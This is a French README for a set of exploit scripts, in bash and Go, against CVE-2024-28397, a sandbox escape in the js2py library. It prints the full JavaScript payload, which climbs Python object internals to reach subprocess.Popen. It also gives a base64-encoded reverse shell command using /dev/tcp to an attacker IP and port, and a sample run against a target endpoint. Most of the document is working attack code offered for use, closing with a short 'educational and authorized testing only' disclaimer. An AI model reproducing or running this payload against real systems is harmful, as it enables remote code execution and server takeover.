
# Scripts d'exploitation pour CVE-2024-28397, une évasion de sandbox js2py qui exécute du code Python arbitraire pour lancer un shell inversé sur un point de terminaison cible.
Une collection de scripts d'exploit ciblant la vulnérabilité d'évasion de sandbox js2py (CVE-2024-28397) qui permet l'exécution de code arbitraire via l'introspection d'objets Python.
La bibliothèque js2py contient une vulnérabilité critique d'évasion de sandbox qui permet aux attaquants d'exécuter du code Python arbitraire en accédant aux objets internes de Python via la méthode JavaScript Object.getOwnPropertyNames().
Cet exploit est basé sur l'analyse complète de Marven11 :
Ce dépôt contient trois implémentations différentes :
exploit.sh)Implémentation légère en bash utilisant curl et jq.
exploit.go)Implémentation Go multiplateforme avec un client HTTP intégré.
curl, jq, base64Tous les scripts sont interactifs et demanderont les informations nécessaires :
# Bash version
chmod +x exploit.sh
./exploit.sh
# Go version
go run exploit.go
Chaque script demandera :
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}
L'exploit crée dynamiquement une commande reverse shell :
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1
La commande shell est encodée en base64 pour une transmission sécurisée :
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)
L'exploit principal utilise JavaScript pour accéder aux objets internes de Python :
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
if(item.__name__ != "type") {
let result = findpopen(item);
if(result) return result;
}
}
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Object.getOwnPropertyNames({})__class__.__base__.__getattribute__subprocess.PopenPopenCes scripts sont fournis uniquement à des fins éducatives et de test autorisé. Assurez-vous toujours d'avoir une autorisation appropriée avant de tester sur un système.
Ce logiciel est fourni uniquement à des fins éducatives et de test de sécurité autorisé. Les utilisateurs sont responsables du respect des lois applicables et de l'obtention d'une autorisation appropriée avant utilisation.